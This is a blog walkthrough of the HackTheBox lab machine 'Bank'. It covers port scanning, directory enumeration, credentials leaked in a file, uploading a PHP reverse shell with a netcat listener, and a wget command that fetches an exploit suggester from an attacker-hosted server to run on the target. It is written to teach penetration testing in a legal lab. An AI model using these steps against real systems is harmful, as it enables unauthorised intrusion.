> For the complete documentation index, see [llms.txt](https://eslam3kl.gitbook.io/blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://eslam3kl.gitbook.io/blog/hack-the-box-machines/bank-walkthrough.md).

# Bank Walkthrough

Hey folks, we are back again with one of **HackTheBox** retired machines “Bank”, before we talk about it let’s take a look at its info

<figure><img src="https://cdn-images-1.medium.com/max/800/1*dmd0VyfWgU3K7WRRMqB1sw.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://cdn-images-1.medium.com/max/800/1*oeNWYFePE9br4ysq1Cw1cg.png" alt=""><figcaption></figcaption></figure>

Let’s get started…

## **Nmap Scan**

We usually start our scan with `nmap` scan to discover all open ports, service running, OS detection, etc

`nmap -A -T4 -oG bank.gnmap 10.10.10.29`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*DI1-XUU5RrqsKgAsCdwtjQ.png" alt=""><figcaption></figcaption></figure>

We have 3 open ports `ssh/dns/http`

I’ve tried to brute-force `ssh` credentials and search for `vhosts` or `zone transfer` but it fails so let’s go to the next step, nothing important here

## **Web Enumeration**

If you try to open `10.10.10.29:80` you will get the default page of the server

<figure><img src="https://cdn-images-1.medium.com/max/800/1*KoKalPjlgEj8zILla0CIhw.png" alt=""><figcaption></figcaption></figure>

But if you try `echo "10.10.10.29 bank.htb" > /etc/hosts` and search for [`http://bank.htb`](http://bank.htb/) you will get a different page **‘Login portal’** and by using this [**plugin**](https://addons.mozilla.org/ar/firefox/addon/link-redirect-trace-addon/?utm_source=addons.mozilla.org\&utm_medium=referral\&utm_content=search) I know that it redirects me to an unknown page before getting the login portal.

Let’s start to discover the hidden directories by using `dirbuster/gobuster/ffuf/dirsearch`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*3qs_loGmm0k7e2OhpTnQTw.png" alt=""><figcaption></figcaption></figure>

You will get more of a bunch of directories which is open and available.

After discovering them, I’ve big data in the last one `/balance_transfer`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*rvRdx9m9ITuFUdjMn7zyyg.png" alt=""><figcaption></figcaption></figure>

Note that all these files have the same size, but there’s one has a different size, so we will open it first

<figure><img src="https://cdn-images-1.medium.com/max/800/1*AlYIPOR8hEk92sTHRRPd5w.png" alt=""><figcaption></figcaption></figure>

Good, we found credentials, let’s use them to login to the login portal

<figure><img src="https://cdn-images-1.medium.com/max/800/1*Bc2N5u0PiYI3FXflk6IDtg.png" alt=""><figcaption></figcaption></figure>

Here we go! Nice design :)

## **User Flag**

After discovering the whole account, I found an upload function on `bank.htb/support` and then we grabbed a reverse shell from [**here**](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php) and then uploaded it

<figure><img src="https://cdn-images-1.medium.com/max/800/1*PQxiQKNi489cTBZC1bM_zA.png" alt=""><figcaption></figcaption></figure>

The next step is to open `nc` as a listener on the port which I insert to the shell code `nc -lvp <port>` and then access the shell form the website

<figure><img src="https://cdn-images-1.medium.com/max/800/1*bQuj7PSTIc7KKHGs4VKE3Q.png" alt=""><figcaption></figcaption></figure>

<figure><img src="https://cdn-images-1.medium.com/max/800/1*GGqXdDQssE4IwljyzhDfPg.png" alt=""><figcaption></figcaption></figure>

Nice, we’re in the server now but unfortunately in the user priv not root so let’s grab the `user.txt` first and then try to be root

<figure><img src="https://cdn-images-1.medium.com/max/800/1*72GUigk75Tf8WqZm9bD20A.png" alt=""><figcaption><p>/home/chris</p></figcaption></figure>

## **Root Flag**

It’s time now to grab the `root.txt`. I’ve used [**Linux-Exploit-Suggester**](https://github.com/jondonas/linux-exploit-suggester-2) to know which vulnerabilities the machine is affected by downloading it on the attack machine and then transferring it to the vulnerable machine

I’ve used `python -m SimpleHTTPServer 80` to make the attacker machine act as a server, and then go to `/tmp` the directory in the vulnerable machine to have permission to write there and then downloaded `wget http://<attacker-machine-ip>/<file-name>` and it was downloaded. Let’s execute it

<figure><img src="https://cdn-images-1.medium.com/max/800/1*qAeGIxrlhd3eYwdU9G_g6Q.png" alt=""><figcaption></figcaption></figure>

We have 4 vulnerabilities that works on this machine but unfortunately, there’s no one of them works with me, so I’ll try to discover all directories to find any juicy file which gave me a root access

After minutes, I found this directory `/var/htb`

<figure><img src="https://cdn-images-1.medium.com/max/800/1*jKV5t5AUW7N9gXCOXmhNUA.png" alt=""><figcaption></figcaption></figure>

And have this executable file

<figure><img src="https://cdn-images-1.medium.com/max/800/1*cZqloPurvoRYWkcqebg7wA.png" alt=""><figcaption></figcaption></figure>

As you can see I’ve tried to execute it, but it’s failed so I execute it from the `bin` directory, and it’s worked as you can see ❤
